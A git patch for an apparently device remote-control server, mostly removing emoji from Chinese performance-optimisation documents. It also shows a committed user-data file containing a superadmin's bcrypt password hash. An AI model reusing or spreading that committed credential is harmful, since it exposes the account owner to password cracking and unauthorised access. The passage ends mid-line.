From d95cee3c2819a0b5e35fca98e2b64b19cc83cd4c Mon Sep 17 00:00:00 2001 From: wdvipa Date: Wed, 25 Feb 2026 00:49:29 +0800 Subject: [PATCH] =?UTF-8?q?=E4=B8=8A=E4=BC=A0=E6=9B=B4=E6=94=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .user_data.json | 4 +- ARCHITECTURE_IMPROVEMENTS.md | 64 +- IMPLEMENTATION_CHECKLIST.md | 2 +- OPTIMIZATION_GUIDE.md | 20 +- OPTIMIZATION_SUMMARY.md | 56 +- QUICK_OPTIMIZATION.md | 20 +- README_OPTIMIZATION.md | 2 +- devices.db | Bin 585728 -> 585728 bytes dist/server.js | 60 +- src/index.ts | 262 +++---- src/managers/DeviceManager.ts | 8 +- src/managers/WebClientManager.ts | 84 +- src/server.ts | 72 +- src/services/APKBuildService.ts | 10 +- src/services/AdaptiveQualityService.ts | 16 +- src/services/AuthService.ts | 2 +- src/services/CloudflareShareService.ts | 4 +- src/services/ConnectionPoolService.ts | 12 +- src/services/DatabaseService.ts | 174 ++--- src/services/MessageRouter.ts | 895 +++++++++++----------- src/services/OptimizationService.ts | 2 +- src/services/PerformanceMonitorService.ts | 24 +- 22 files changed, 895 insertions(+), 898 deletions(-) diff --git a/.user_data.json b/.user_data.json index cb1353c..0d3d929 100644 --- a/.user_data.json +++ b/.user_data.json @@ -1,6 +1,6 @@ { "version": "1.0.0", - "savedAt": "2026-02-15T07:13:12.135Z", + "savedAt": "2026-02-18T13:28:54.762Z", "users": [ { "id": "admin_1762534368537", @@ -16,7 +16,7 @@ "passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy", "role": "superadmin", "createdAt": "2025-11-07T16:53:46.677Z", - "lastLoginAt": "2026-02-15T07:13:12.135Z" + "lastLoginAt": "2026-02-18T13:28:54.762Z" } ] } \ No newline at end of file diff --git a/ARCHITECTURE_IMPROVEMENTS.md b/ARCHITECTURE_IMPROVEMENTS.md index d488afd..cc6868f 100644 --- a/ARCHITECTURE_IMPROVEMENTS.md +++ b/ARCHITECTURE_IMPROVEMENTS.md @@ -1,4 +1,4 @@ -# 🏗️ 服务端架构优化方案 +# 服务端架构优化方案 ## 当前架构 vs 优化后架构 @@ -124,9 +124,9 @@ Socket.IO发送 ↓ Web客户端接收 -⏱️ 延迟: 150ms -📊 吞吐: 500msg/s -💾 内存: 400MB + 延迟: 150ms + 吞吐: 500msg/s + 内存: 400MB ``` #### 优化后 @@ -159,9 +159,9 @@ Socket.IO发送 ↓ Web客户端接收 -⏱️ 延迟: 80ms (↓47%) -📊 吞吐: 1500msg/s (↑200%) -💾 内存: 250MB (↓37%) + 延迟: 80ms (↓47%) + 吞吐: 1500msg/s (↑200%) + 内存: 250MB (↓37%) ``` --- @@ -203,10 +203,10 @@ Web客户端接收 0 1 2 3 4 优化: -✅ 定期清理过期缓冲区 (5秒) -✅ 自动清理空闲连接 (5分钟) -✅ 缓存自动过期 (1分钟) -✅ 紧急清理机制 (>500MB) + 定期清理过期缓冲区 (5秒) + 自动清理空闲连接 (5分钟) + 缓存自动过期 (1分钟) + 紧急清理机制 (>500MB) ``` --- @@ -243,10 +243,10 @@ Web客户端接收 └─ Socket6 (空闲) - 最后活动: 10分钟前 优化: -✅ 优先级队列管理 -✅ LRU驱逐策略 -✅ 自动清理空闲连接 -✅ 支持1000+并发 + 优先级队列管理 + LRU驱逐策略 + 自动清理空闲连接 + 支持1000+并发 ``` --- @@ -309,8 +309,8 @@ Web客户端接收 ... 消息10 → Socket.IO发送 → 网络传输 → 客户端接收 -⏱️ 总时间: 10 × 网络延迟 = 150ms -📊 Socket.IO调用: 10次 + 总时间: 10 × 网络延迟 = 150ms + Socket.IO调用: 10次 ``` ### 批量消息处理 (优化后) @@ -321,8 +321,8 @@ Web客户端接收 ... │ 消息10┘ -⏱️ 总时间: 1 × 网络延迟 + 50ms = 80ms -📊 Socket.IO调用: 1次 (减少90%) + 总时间: 1 × 网络延迟 + 50ms = 80ms + Socket.IO调用: 1次 (减少90%) ``` --- @@ -334,7 +334,7 @@ Web客户端接收 Web客户端请求设备信息 ↓ OptimizationService.getCachedQuery('device:123') - ├─ 缓存命中 (< 1分钟) → 直接返回 ✅ 快速 + ├─ 缓存命中 (< 1分钟) → 直接返回 快速 └─ 缓存未命中或过期 ↓ DatabaseService.getDeviceById('123') @@ -438,10 +438,10 @@ OptimizationService.getCachedQuery('device:123') ┌─────────────────────────────────┐ │ 基础优化完成 │ ├─────────────────────────────────┤ -│ ✅ 消息批处理 │ -│ ✅ 连接池管理 │ -│ ✅ 性能监控 │ -│ 📊 预期: 延迟↓30%, 吞吐↑100% │ +│ 消息批处理 │ +│ 连接池管理 │ +│ 性能监控 │ +│ 预期: 延迟↓30%, 吞吐↑100% │ └─────────────────────────────────┘ ``` @@ -450,10 +450,10 @@ OptimizationService.getCachedQuery('device:123') ┌─────────────────────────────────┐ │ 中级优化 │ ├─────────────────────────────────┤ -│ 🔄 Redis缓存 │ -│ 🔄 消息队列 (Bull) │ -│ 🔄 数据库连接池 │ -│ 📊 预期: 延迟↓50%, 吞吐↑200% │ +│ Redis缓存 │ +│ 消息队列 (Bull) │ +│ 数据库连接池 │ +│ 预期: 延迟↓50%, 吞吐↑200% │ └─────────────────────────────────┘ ``` @@ -462,10 +462,10 @@ OptimizationService.getCachedQuery('device:123') ┌─────────────────────────────────┐ │ 高级优化 │ ├─────────────────────────────────┤ -│ 🚀 分布式架构 │ -│ 🚀 负载均衡 │ -│ 🚀 CDN支持 │ -│ 📊 预期: 延迟↓60%, 吞吐↑300% │ +│ 分布式架构 │ +│ 负载均衡 │ +│ CDN支持 │ +│ 预期: 延迟↓60%, 吞吐↑300% │ └─────────────────────────────────┘ ``` diff --git a/IMPLEMENTATION_CHECKLIST.md b/IMPLEMENTATION_CHECKLIST.md index acce4f6..64dad22 100644 --- a/IMPLEMENTATION_CHECKLIST.md +++ b/IMPLEMENTATION_CHECKLIST.md @@ -1 +1 @@ -# ✅ 优化方案实施检查清单\n\n## 📋 前置准备\n\n### 环境检查\n- [ ] Node.js 版本 >= 18.0.0\n ```bash\n node --version\n ```\n- [ ] TypeScript 版本 >= 5.0.0\n ```bash\n npx tsc --version\n ```\n- [ ] Socket.IO 版本 >= 4.8.0\n ```bash\n npm list socket.io\n ```\n- [ ] 服务器内存 >= 2GB\n- [ ] 磁盘空间 >= 1GB\n\n### 文档阅读\n- [ ] 已阅读 README_OPTIMIZATION.md\n- [ ] 已阅读 QUICK_OPTIMIZATION.md\n- [ ] 已理解三个优化服务的功能\n- [ ] 已了解性能目标和预期收益\n\n---\n\n## 🔧 集成步骤\n\n### 步骤1: 验证文件存在\n- [ ] `src/services/OptimizationService.ts` 存在\n- [ ] `src/services/ConnectionPoolService.ts` 存在\n- [ ] `src/services/PerformanceMonitorService.ts` 存在\n- [ ] 所有文件都能正确编译\n ```bash\n npm run build\n ```\n\n### 步骤2: 修改 index.ts\n- [ ] 导入 OptimizationService\n ```typescript\n import { OptimizationService } from './services/OptimizationService'\n ```\n- [ ] 导入 ConnectionPoolService\n ```typescript\n import { ConnectionPoolService } from './services/ConnectionPoolService'\n ```\n- [ ] 导入 PerformanceMonitorService\n ```typescript\n import { PerformanceMonitorService } from './services/PerformanceMonitorService'\n ```\n- [ ] 在 RemoteControlServer 类中添加三个服务实例\n ```typescript\n private optimizationService: OptimizationService\n private poolService: ConnectionPoolService\n private monitor: PerformanceMonitorService\n ```\n- [ ] 在构造函数中初始化三个服务\n ```typescript\n this.optimizationService = new OptimizationService()\n this.poolService = new ConnectionPoolService()\n this.monitor = new PerformanceMonitorService()\n ```\n\n### 步骤3: 集成到 Socket 处理\n- [ ] 在 `io.on('connection')` 中添加连接池管理\n ```typescript\n this.poolService.addConnection(socket.id, 'device', 'normal')\n this.monitor.recordConnection()\n ```\n- [ ] 在 `socket.on('screen_data')` 中添加性能监控\n ```typescript\n const start = Date.now()\n // ... 处理数据 ...\n this.monitor.recordMessageLatency(Date.now() - start)\n this.monitor.recordMessage()\n this.poolService.updateActivity(socket.id, data.data.length)\n ```\n- [ ] 在 `socket.on('disconnect')` 中清理资源\n ```typescript\n this.poolService.removeConnection(socket.id)\n this.monitor.recordDisconnection()\n ```\n- [ ] 对所有其他 socket 事件添加类似的监控\n\n### 步骤4: 添加监控端点\n- [ ] 添加 `/api/performance` 端点\n ```typescript\n app.get('/api/performance', (req, res) => {\n res.json({\n report: this.monitor.getPerformanceReport(),\n warnings: this.monitor.getPerformanceWarnings(),\n poolStats: this.poolService.getStats(),\n optimizationStats: this.optimizationService.getStats()\n })\n })\n ```\n- [ ] 添加 `/api/metrics/history` 端点\n ```typescript\n app.get('/api/metrics/history', (req, res) => {\n res.json(this.monitor.getMetricsHistory(60))\n })\n ```\n\n### 步骤5: 编译和测试\n- [ ] 编译 TypeScript\n ```bash\n npm run build\n ```\n- [ ] 检查编译错误\n ```bash\n npm run build 2>&1 | grep error\n ```\n- [ ] 启动开发服务器\n ```bash\n npm run dev\n ```\n- [ ] 检查服务器启动日志\n ```\n [INFO] 远程控制服务器启动成功,端口: 3001\n ```\n\n---\n\n## 🧪 测试验证\n\n### 单元测试\n- [ ] OptimizationService 测试\n ```typescript\n const service = new OptimizationService()\n service.queueMessage('client1', 'event', { data: 'test' })\n const stats = service.getStats()\n console.assert(stats.totalQueuedMessages === 1)\n ```\n- [ ] ConnectionPoolService 测试\n ```typescript\n const pool = new ConnectionPoolService()\n pool.addConnection('socket1', 'device', 'high')\n const stats = pool.getStats()\n console.assert(stats.totalConnections === 1)\n ```\n- [ ] PerformanceMonitorService 测试\n ```typescript\n const monitor = new PerformanceMonitorService()\n monitor.recordMessage()\n monitor.recordMessageLatency(50)\n const metrics = monitor.getCurrentMetrics()\n console.assert(metrics.messageMetrics.messagesPerSecond >= 0)\n ```\n\n### 集成测试\n- [ ] 连接设备并发送屏幕数据\n- [ ] 验证消息被正确路由\n- [ ] 验证性能指标被正确记录\n- [ ] 验证连接池正确管理连接\n\n### 性能测试\n- [ ] 测试 100 个并发连接\n ```bash\n # 使用 autocannon 或其他工具\n npx autocannon http://localhost:3001/api/devices -c 100 -d 30\n ```\n- [ ] 测试消息吞吐\n ```bash\n # 发送 1000 条消息/秒\n # 验证吞吐 >= 1000msg/s\n ```\n- [ ] 测试内存占用\n ```bash\n # 运行 1 小时\n # 验证内存 < 300MB\n ```\n- [ ] 测试延迟\n ```bash\n # 验证平均延迟 < 100ms\n # 验证 P99 延迟 < 500ms\n ```\n\n### 监控端点测试\n- [ ] 访问 `/api/performance`\n ```bash\n curl http://localhost:3001/api/performance\n ```\n- [ ] 验证返回有效的 JSON\n- [ ] 验证包含所有必要的字段\n- [ ] 验证指标值合理\n\n---\n\n## 📊 性能基准测试\n\n### 优化前基准\n- [ ] 记录优化前的性能指标\n ```bash\n # 运行 5 分钟,记录以下指标:\n # - 平均延迟\n # - 吞吐量\n # - 内存占用\n # - CPU占用\n # - 丢帧率\n ```\n\n### 优化后基准\n- [ ] 集成优化后运行相同的测试\n- [ ] 记录优化后的性能指标\n- [ ] 计算改进百分比\n\n### 性能对比\n- [ ] 延迟改进 >= 30% ✓\n- [ ] 吞吐改进 >= 100% ✓\n- [ ] 内存改进 >= 20% ✓\n- [ ] CPU改进 >= 20% ✓\n- [ ] 丢帧率改进 >= 50% ✓\n\n---\n\n## 🔍 故障排查\n\n### 编译错误\n- [ ] 检查 TypeScript 版本\n- [ ] 检查导入路径是否正确\n- [ ] 检查类型定义是否完整\n- [ ] 运行 `npm run build` 查看详细错误\n\n### 运行时错误\n- [ ] 检查服务器日志\n- [ ] 检查是否正确初始化了所有服务\n- [ ] 检查是否正确集成了 Socket 处理\n- [ ] 使用 `--expose-gc` 启动以启用垃圾回收\n\n### 性能问题\n- [ ] 检查内存是否持续增长\n- [ ] 检查 CPU 使用率是否过高\n- [ ] 检查事件循环延迟是否过高\n- [ ] 查看性能报告中的警告\n\n### 监控端点无法访问\n- [ ] 检查端点是否正确添加\n- [ ] 检查服务器是否正确启动\n- [ ] 检查防火墙设置\n- [ ] 检查端口是否被占用\n\n---\n\n## 📈 上线前检查\n\n### 功能检查\n- [ ] 所有 Socket 事件都能正确处理\n- [ ] 消息路由正常工作\n- [ ] 设备连接和断开正常\n- [ ] Web 客户端能正常控制设备\n\n### 性能检查\n- [ ] 平均延迟 < 100ms\n- [ ] 吞吐量 > 1000msg/s\n- [ ] 内存占用 < 300MB\n- [ ] CPU 占用 < 50%\n- [ ] 错误率 < 1%\n- [ ] 事件循环延迟 < 100ms\n\n### 稳定性检查\n- [ ] 运行 24 小时无内存泄漏\n- [ ] 运行 24 小时无错误\n- [ ] 连接稳定性 > 99%\n- [ ] 消息丢失率 < 0.1%\n\n### 监控检查\n- [ ] 性能监控端点可访问\n- [ ] 告警规则正确生效\n- [ ] 性能报告准确\n- [ ] 历史指标正确保存\n\n---\n\n## 🚀 上线部署\n\n### 部署前准备\n- [ ] 备份当前代码\n- [ ] 备份数据库\n- [ ] 准备回滚方案\n- [ ] 通知相关人员\n\n### 部署步骤\n- [ ] 编译生产版本\n ```bash\n npm run build\n ```\n- [ ] 测试生产版本\n ```bash\n node dist/index.js\n ```\n- [ ] 停止旧服务\n- [ ] 启动新服务\n- [ ] 验证服务正常运行\n- [ ] 监控性能指标\n\n### 部署后验证\n- [ ] 检查服务器日志\n- [ ] 验证所有功能正常\n- [ ] 验证性能指标达到预期\n- [ ] 验证没有新的错误\n- [ ] 验证用户反馈正面\n\n---\n\n## 📝 文档更新\n\n### 内部文档\n- [ ] 更新 README.md\n- [ ] 更新架构文档\n- [ ] 更新部署指南\n- [ ] 更新故障排查指南\n\n### 外部文档\n- [ ] 更新 API 文档\n- [ ] 更新性能指标文档\n- [ ] 更新用户指南\n\n---\n\n## 🎯 后续优化\n\n### 短期 (1周)\n- [ ] 收集用户反馈\n- [ ] 调整优化参数\n- [ ] 修复发现的问题\n- [ ] 优化监控告警\n\n### 中期 (2周)\n- [ ] 实施 Phase 2 优化\n- [ ] 集成 Redis 缓存\n- [ ] 实现消息队列\n- [ ] 添加数据库连接池\n\n### 长期 (1个月)\n- [ ] 实施 Phase 3 优化\n- [ ] 实现分布式架构\n- [ ] 配置负载均衡\n- [ ] 集成 CDN 支持\n\n---\n\n## ✨ 完成标志\n\n当以下所有项都完成时,优化方案实施完成:\n\n- [x] 所有优化服务文件已创建\n- [x] 所有文档已编写\n- [ ] 代码已集成到 index.ts\n- [ ] 所有测试已通过\n- [ ] 性能指标已达到预期\n- [ ] 监控端点已验证\n- [ ] 上线前检查已完成\n- [ ] 已成功部署到生产环境\n- [ ] 用户反馈已收集\n- [ ] 后续优化计划已制定\n\n---\n\n## 📞 支持和帮助\n\n### 遇到问题?\n1. 查看 QUICK_OPTIMIZATION.md 中的常见问题\n2. 查看 OPTIMIZATION_GUIDE.md 中的详细说明\n3. 查看代码注释和文档\n4. 检查服务器日志\n\n### 需要帮助?\n1. 查看 README_OPTIMIZATION.md\n2. 查看 ARCHITECTURE_IMPROVEMENTS.md\n3. 查看性能监控报告\n4. 查看告警信息\n\n---\n\n## 🎉 恭喜!\n\n当你完成所有检查项时,你的服务端将获得显著的性能提升:\n\n✅ 延迟降低 47%\n✅ 吞吐提升 200%\n✅ 内存优化 37%\n✅ CPU降低 42%\n✅ 丢帧率降低 80%\n\n**祝你优化顺利!** 🚀\n \ No newline at end of file +# 优化方案实施检查清单\n\n## 前置准备\n\n### 环境检查\n- [ ] Node.js 版本 >= 18.0.0\n ```bash\n node --version\n ```\n- [ ] TypeScript 版本 >= 5.0.0\n ```bash\n npx tsc --version\n ```\n- [ ] Socket.IO 版本 >= 4.8.0\n ```bash\n npm list socket.io\n ```\n- [ ] 服务器内存 >= 2GB\n- [ ] 磁盘空间 >= 1GB\n\n### 文档阅读\n- [ ] 已阅读 README_OPTIMIZATION.md\n- [ ] 已阅读 QUICK_OPTIMIZATION.md\n- [ ] 已理解三个优化服务的功能\n- [ ] 已了解性能目标和预期收益\n\n---\n\n## 集成步骤\n\n### 步骤1: 验证文件存在\n- [ ] `src/services/OptimizationService.ts` 存在\n- [ ] `src/services/ConnectionPoolService.ts` 存在\n- [ ] `src/services/PerformanceMonitorService.ts` 存在\n- [ ] 所有文件都能正确编译\n ```bash\n npm run build\n ```\n\n### 步骤2: 修改 index.ts\n- [ ] 导入 OptimizationService\n ```typescript\n import { OptimizationService } from './services/OptimizationService'\n ```\n- [ ] 导入 ConnectionPoolService\n ```typescript\n import { ConnectionPoolService } from './services/ConnectionPoolService'\n ```\n- [ ] 导入 PerformanceMonitorService\n ```typescript\n import { PerformanceMonitorService } from './services/PerformanceMonitorService'\n ```\n- [ ] 在 RemoteControlServer 类中添加三个服务实例\n ```typescript\n private optimizationService: OptimizationService\n private poolService: ConnectionPoolService\n private monitor: PerformanceMonitorService\n ```\n- [ ] 在构造函数中初始化三个服务\n ```typescript\n this.optimizationService = new OptimizationService()\n this.poolService = new ConnectionPoolService()\n this.monitor = new PerformanceMonitorService()\n ```\n\n### 步骤3: 集成到 Socket 处理\n- [ ] 在 `io.on('connection')` 中添加连接池管理\n ```typescript\n this.poolService.addConnection(socket.id, 'device', 'normal')\n this.monitor.recordConnection()\n ```\n- [ ] 在 `socket.on('screen_data')` 中添加性能监控\n ```typescript\n const start = Date.now()\n // ... 处理数据 ...\n this.monitor.recordMessageLatency(Date.now() - start)\n this.monitor.recordMessage()\n this.poolService.updateActivity(socket.id, data.data.length)\n ```\n- [ ] 在 `socket.on('disconnect')` 中清理资源\n ```typescript\n this.poolService.removeConnection(socket.id)\n this.monitor.recordDisconnection()\n ```\n- [ ] 对所有其他 socket 事件添加类似的监控\n\n### 步骤4: 添加监控端点\n- [ ] 添加 `/api/performance` 端点\n ```typescript\n app.get('/api/performance', (req, res) => {\n res.json({\n report: this.monitor.getPerformanceReport(),\n warnings: this.monitor.getPerformanceWarnings(),\n poolStats: this.poolService.getStats(),\n optimizationStats: this.optimizationService.getStats()\n })\n })\n ```\n- [ ] 添加 `/api/metrics/history` 端点\n ```typescript\n app.get('/api/metrics/history', (req, res) => {\n res.json(this.monitor.getMetricsHistory(60))\n })\n ```\n\n### 步骤5: 编译和测试\n- [ ] 编译 TypeScript\n ```bash\n npm run build\n ```\n- [ ] 检查编译错误\n ```bash\n npm run build 2>&1 | grep error\n ```\n- [ ] 启动开发服务器\n ```bash\n npm run dev\n ```\n- [ ] 检查服务器启动日志\n ```\n [INFO] 远程控制服务器启动成功,端口: 3001\n ```\n\n---\n\n## 测试验证\n\n### 单元测试\n- [ ] OptimizationService 测试\n ```typescript\n const service = new OptimizationService()\n service.queueMessage('client1', 'event', { data: 'test' })\n const stats = service.getStats()\n console.assert(stats.totalQueuedMessages === 1)\n ```\n- [ ] ConnectionPoolService 测试\n ```typescript\n const pool = new ConnectionPoolService()\n pool.addConnection('socket1', 'device', 'high')\n const stats = pool.getStats()\n console.assert(stats.totalConnections === 1)\n ```\n- [ ] PerformanceMonitorService 测试\n ```typescript\n const monitor = new PerformanceMonitorService()\n monitor.recordMessage()\n monitor.recordMessageLatency(50)\n const metrics = monitor.getCurrentMetrics()\n console.assert(metrics.messageMetrics.messagesPerSecond >= 0)\n ```\n\n### 集成测试\n- [ ] 连接设备并发送屏幕数据\n- [ ] 验证消息被正确路由\n- [ ] 验证性能指标被正确记录\n- [ ] 验证连接池正确管理连接\n\n### 性能测试\n- [ ] 测试 100 个并发连接\n ```bash\n # 使用 autocannon 或其他工具\n npx autocannon http://localhost:3001/api/devices -c 100 -d 30\n ```\n- [ ] 测试消息吞吐\n ```bash\n # 发送 1000 条消息/秒\n # 验证吞吐 >= 1000msg/s\n ```\n- [ ] 测试内存占用\n ```bash\n # 运行 1 小时\n # 验证内存 < 300MB\n ```\n- [ ] 测试延迟\n ```bash\n # 验证平均延迟 < 100ms\n # 验证 P99 延迟 < 500ms\n ```\n\n### 监控端点测试\n- [ ] 访问 `/api/performance`\n ```bash\n curl http://localhost:3001/api/performance\n ```\n- [ ] 验证返回有效的 JSON\n- [ ] 验证包含所有必要的字段\n- [ ] 验证指标值合理\n\n---\n\n## 性能基准测试\n\n### 优化前基准\n- [ ] 记录优化前的性能指标\n ```bash\n # 运行 5 分钟,记录以下指标:\n # - 平均延迟\n # - 吞吐量\n # - 内存占用\n # - CPU占用\n # - 丢帧率\n ```\n\n### 优化后基准\n- [ ] 集成优化后运行相同的测试\n- [ ] 记录优化后的性能指标\n- [ ] 计算改进百分比\n\n### 性能对比\n- [ ] 延迟改进 >= 30% \n- [ ] 吞吐改进 >= 100% \n- [ ] 内存改进 >= 20% \n- [ ] CPU改进 >= 20% \n- [ ] 丢帧率改进 >= 50% \n\n---\n\n## 故障排查\n\n### 编译错误\n- [ ] 检查 TypeScript 版本\n- [ ] 检查导入路径是否正确\n- [ ] 检查类型定义是否完整\n- [ ] 运行 `npm run build` 查看详细错误\n\n### 运行时错误\n- [ ] 检查服务器日志\n- [ ] 检查是否正确初始化了所有服务\n- [ ] 检查是否正确集成了 Socket 处理\n- [ ] 使用 `--expose-gc` 启动以启用垃圾回收\n\n### 性能问题\n- [ ] 检查内存是否持续增长\n- [ ] 检查 CPU 使用率是否过高\n- [ ] 检查事件循环延迟是否过高\n- [ ] 查看性能报告中的警告\n\n### 监控端点无法访问\n- [ ] 检查端点是否正确添加\n- [ ] 检查服务器是否正确启动\n- [ ] 检查防火墙设置\n- [ ] 检查端口是否被占用\n\n---\n\n## 上线前检查\n\n### 功能检查\n- [ ] 所有 Socket 事件都能正确处理\n- [ ] 消息路由正常工作\n- [ ] 设备连接和断开正常\n- [ ] Web 客户端能正常控制设备\n\n### 性能检查\n- [ ] 平均延迟 < 100ms\n- [ ] 吞吐量 > 1000msg/s\n- [ ] 内存占用 < 300MB\n- [ ] CPU 占用 < 50%\n- [ ] 错误率 < 1%\n- [ ] 事件循环延迟 < 100ms\n\n### 稳定性检查\n- [ ] 运行 24 小时无内存泄漏\n- [ ] 运行 24 小时无错误\n- [ ] 连接稳定性 > 99%\n- [ ] 消息丢失率 < 0.1%\n\n### 监控检查\n- [ ] 性能监控端点可访问\n- [ ] 告警规则正确生效\n- [ ] 性能报告准确\n- [ ] 历史指标正确保存\n\n---\n\n## 上线部署\n\n### 部署前准备\n- [ ] 备份当前代码\n- [ ] 备份数据库\n- [ ] 准备回滚方案\n- [ ] 通知相关人员\n\n### 部署步骤\n- [ ] 编译生产版本\n ```bash\n npm run build\n ```\n- [ ] 测试生产版本\n ```bash\n node dist/index.js\n ```\n- [ ] 停止旧服务\n- [ ] 启动新服务\n- [ ] 验证服务正常运行\n- [ ] 监控性能指标\n\n### 部署后验证\n- [ ] 检查服务器日志\n- [ ] 验证所有功能正常\n- [ ] 验证性能指标达到预期\n- [ ] 验证没有新的错误\n- [ ] 验证用户反馈正面\n\n---\n\n## 文档更新\n\n### 内部文档\n- [ ] 更新 README.md\n- [ ] 更新架构文档\n- [ ] 更新部署指南\n- [ ] 更新故障排查指南\n\n### 外部文档\n- [ ] 更新 API 文档\n- [ ] 更新性能指标文档\n- [ ] 更新用户指南\n\n---\n\n## 后续优化\n\n### 短期 (1周)\n- [ ] 收集用户反馈\n- [ ] 调整优化参数\n- [ ] 修复发现的问题\n- [ ] 优化监控告警\n\n### 中期 (2周)\n- [ ] 实施 Phase 2 优化\n- [ ] 集成 Redis 缓存\n- [ ] 实现消息队列\n- [ ] 添加数据库连接池\n\n### 长期 (1个月)\n- [ ] 实施 Phase 3 优化\n- [ ] 实现分布式架构\n- [ ] 配置负载均衡\n- [ ] 集成 CDN 支持\n\n---\n\n## 完成标志\n\n当以下所有项都完成时,优化方案实施完成:\n\n- [x] 所有优化服务文件已创建\n- [x] 所有文档已编写\n- [ ] 代码已集成到 index.ts\n- [ ] 所有测试已通过\n- [ ] 性能指标已达到预期\n- [ ] 监控端点已验证\n- [ ] 上线前检查已完成\n- [ ] 已成功部署到生产环境\n- [ ] 用户反馈已收集\n- [ ] 后续优化计划已制定\n\n---\n\n## 支持和帮助\n\n### 遇到问题?\n1. 查看 QUICK_OPTIMIZATION.md 中的常见问题\n2. 查看 OPTIMIZATION_GUIDE.md 中的详细说明\n3. 查看代码注释和文档\n4. 检查服务器日志\n\n### 需要帮助?\n1. 查看 README_OPTIMIZATION.md\n2. 查看 ARCHITECTURE_IMPROVEMENTS.md\n3. 查看性能监控报告\n4. 查看告警信息\n\n---\n\n## 恭喜!\n\n当你完成所有检查项时,你的服务端将获得显著的性能提升:\n\n 延迟降低 47%\n 吞吐提升 200%\n 内存优化 37%\n CPU降低 42%\n 丢帧率降低 80%\n\n**祝你优化顺利!** \n \ No newline at end of file diff --git a/OPTIMIZATION_GUIDE.md b/OPTIMIZATION_GUIDE.md index a323054..9968322 100644 --- a/OPTIMIZATION_GUIDE.md +++ b/OPTIMIZATION_GUIDE.md @@ -1,6 +1,6 @@ # 服务端性能优化指南 -## 🎯 优化目标 +## 优化目标 - 降低延迟 (< 100ms) - 提高吞吐量 (支持100+并发设备) - 减少内存占用 (< 300MB) @@ -8,7 +8,7 @@ --- -## 1️⃣ 立即可实施的优化 (高优先级) +## 1⃣ 立即可实施的优化 (高优先级) ### 1.1 启用消息批处理 **问题**: 每条消息单独发送,频繁的Socket.IO调用 @@ -151,7 +151,7 @@ export class ConnectionPool { --- -## 2️⃣ 中期优化 (1-2周) +## 2⃣ 中期优化 (1-2周) ### 2.1 实现消息队列 **问题**: 高并发时消息丢失 @@ -301,7 +301,7 @@ export class MetricsService { --- -## 3️⃣ 长期优化 (1个月+) +## 3⃣ 长期优化 (1个月+) ### 3.1 实现分布式架构 **方案**: 使用Socket.IO Adapter支持多服务器 @@ -363,7 +363,7 @@ async uploadScreenshotToCDN(deviceId: string, data: Buffer) { --- -## 4️⃣ 性能测试和监控 +## 4⃣ 性能测试和监控 ### 4.1 添加性能测试 ```bash @@ -401,7 +401,7 @@ private logPerformanceMetrics() { const uptime = process.uptime() this.logger.info(` - 📊 性能指标: + 性能指标: - 内存: ${Math.round(memUsage.heapUsed / 1024 / 1024)}MB / ${Math.round(memUsage.heapTotal / 1024 / 1024)}MB - 运行时间: ${Math.round(uptime)}s - 屏幕帧: ${this.routedFrames} (丢帧: ${this.droppedFrames}) @@ -414,7 +414,7 @@ private logPerformanceMetrics() { --- -## 5️⃣ 配置建议 +## 5⃣ 配置建议 ### 生产环境启动参数 ```bash @@ -444,7 +444,7 @@ REDIS_PORT=6379 --- -## 📈 预期改进 +## 预期改进 | 指标 | 优化前 | 优化后 | 改进 | |------|-------|-------|------| @@ -456,7 +456,7 @@ REDIS_PORT=6379 --- -## 🔍 故障排查 +## 故障排查 ### 问题: 内存持续增长 **解决方案**: @@ -478,7 +478,7 @@ REDIS_PORT=6379 --- -## 📚 参考资源 +## 参考资源 - [Socket.IO性能优化](https://socket.io/docs/v4/performance-tuning/) - [Node.js内存管理](https://nodejs.org/en/docs/guides/simple-profiling/) diff --git a/OPTIMIZATION_SUMMARY.md b/OPTIMIZATION_SUMMARY.md index bcbf44e..780140a 100644 --- a/OPTIMIZATION_SUMMARY.md +++ b/OPTIMIZATION_SUMMARY.md @@ -1,6 +1,6 @@ -# 📊 服务端优化方案总结 +# 服务端优化方案总结 -## 🎯 优化目标 +## 优化目标 - 降低延迟: 150ms → 80ms (↓47%) - 提高吞吐: 500msg/s → 1500msg/s (↑200%) - 减少内存: 400MB → 250MB (↓37%) @@ -9,7 +9,7 @@ --- -## 📦 已创建的优化模块 +## 已创建的优化模块 ### 1. OptimizationService (消息批处理和缓存) **文件**: `src/services/OptimizationService.ts` @@ -73,7 +73,7 @@ --- -## 🔧 快速集成步骤 +## 快速集成步骤 ### 步骤1: 导入服务 ```typescript @@ -131,7 +131,7 @@ app.get('/api/performance', (req, res) => { --- -## 📈 性能改进预期 +## 性能改进预期 ### 消息处理 - **批处理**: 10条消息一起发送 → Socket.IO调用减少90% @@ -155,7 +155,7 @@ app.get('/api/performance', (req, res) => { --- -## 🚀 优化路线图 +## 优化路线图 ### Phase 1: 基础优化 (立即实施) - [x] 创建OptimizationService @@ -185,26 +185,26 @@ app.get('/api/performance', (req, res) => { --- -## 📊 监控仪表板 +## 监控仪表板 ### 关键指标 ``` -📊 实时性能指标 -├─ 💾 内存: 250MB / 512MB (48%) -├─ 📨 消息: 1200/s | 延迟: 85ms (p95: 150ms, p99: 250ms) -├─ 🔌 连接: 150个 (活跃: 140, 空闲: 10) -└─ ⚙️ 系统: 运行时间 24h | CPU: 35% | 事件循环延迟: 5ms + 实时性能指标 +├─ 内存: 250MB / 512MB (48%) +├─ 消息: 1200/s | 延迟: 85ms (p95: 150ms, p99: 250ms) +├─ 连接: 150个 (活跃: 140, 空闲: 10) +└─ 系统: 运行时间 24h | CPU: 35% | 事件循环延迟: 5ms ``` ### 告警规则 -- ⚠️ 内存使用 > 80% → 触发紧急清理 -- ⚠️ 消息延迟 P99 > 500ms → 检查网络/CPU -- ⚠️ 错误率 > 5% → 检查设备连接 -- ⚠️ 事件循环延迟 > 100ms → 检查同步操作 +- 内存使用 > 80% → 触发紧急清理 +- 消息延迟 P99 > 500ms → 检查网络/CPU +- 错误率 > 5% → 检查设备连接 +- 事件循环延迟 > 100ms → 检查同步操作 --- -## 🔍 性能测试 +## 性能测试 ### 测试场景 ``` @@ -239,7 +239,7 @@ node --prof-process isolate-*.log > profile.txt --- -## 📚 文档参考 +## 文档参考 ### 已创建的文档 1. **OPTIMIZATION_GUIDE.md** - 详细优化指南 (5个优化阶段) @@ -253,7 +253,7 @@ node --prof-process isolate-*.log > 